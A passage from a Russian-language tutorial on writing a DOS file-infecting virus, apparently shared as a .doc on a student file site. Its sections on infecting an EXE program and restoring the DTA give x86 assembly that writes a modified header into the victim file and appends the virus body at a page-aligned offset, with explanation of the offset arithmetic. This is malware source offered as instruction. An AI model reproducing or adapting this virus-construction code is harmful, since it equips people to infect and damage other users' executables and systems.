Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
virur.doc
Скачиваний:
3
Добавлен:
17.08.2019
Размер:
1.01 Mб
Скачать

1.10 Заражаем exe - программу

После того, как скорректирован заголовок файла,мо-

жно его заразить.Напомним, что при заражении вирус

должен перезаписать на диск модифицированный заго-

ловок, после чего поместить свой код в конец файла

- жертвы :

xor dx,dx ;Устанавливаем

xor cx,cx ;указатель на

call setpointer ;начало файла

jc close_file ;

lea dx,header ;И записываем

mov cx,27 ;измененный за-

call write ;головок на диск

jc close_file

mov dx,f_seek_low ;Устанавливаем

mov cx,f_seek_high ;указатель на

call setpointer ;определенное

;ранее место в

;файле

jc close_file

lea dx,vir ;И записываем на

mov cx,vir_len ;диск вирусный

call write ;код

close_file:xor ax,ax ;Закроем зара-

mov ah,3eh ;женный файл

mov bx,descrypt ;

int 21h ;

Строго говоря, код вируса записывается не за пос-

ледним байтом файла .Это имеет место только когда

размер файла кратен 512 .Во всех остальных случаях

вирусный код помещается в файл по смещению,опреде-

ляемому размером файла в 512 - ти байтовых страни-

цах .Конечно, число страниц округляется в большую

сторону . Например, при размере файла в 1025 байт

вирус будет считать, что его длина составляет три

полных страницы, а при размере в 4096 байт - всего

восемь ! Такая система сильно упрощает процесс со-

здания вирусной программы и ее отладку .

1.11 Восстанавливаем dta

Итак, вирус выполнил свою работу - найден и зара-

жен подходящий EXE - файл .Дальше необходимо пере-

ключить DTA с области данных вируса на область в

PSP программы, из которой он стартовал . Поскольку

начальный сегмент программы известен ( он хранится

в регистре ES, которым мы не пользовались ),несло-

жно найти адрес исходной DTA .Он равен ES : 80h .И

поэтому :

restore_dta:

push ds ;DS -> в стек

mov ah,1ah ;Восстановим

mov dx,080h ;адрес DTA зара-

mov bp,es ;женной програм-

mov ds,bp ;мы с помощью

int 21h ;функции DOS 1Ah

pop ds ;DS <- из стека

В этом фрагменте адрес DTA устанавливается с помо-

щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес

должен быть помещен в DS : DX, что мы и сделали .

Команда " push ds " записывает в стек содержимое

регистра DS, так как этот регистр используется для

задания адреса,и поэтому его значение будет испор-

чено .

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]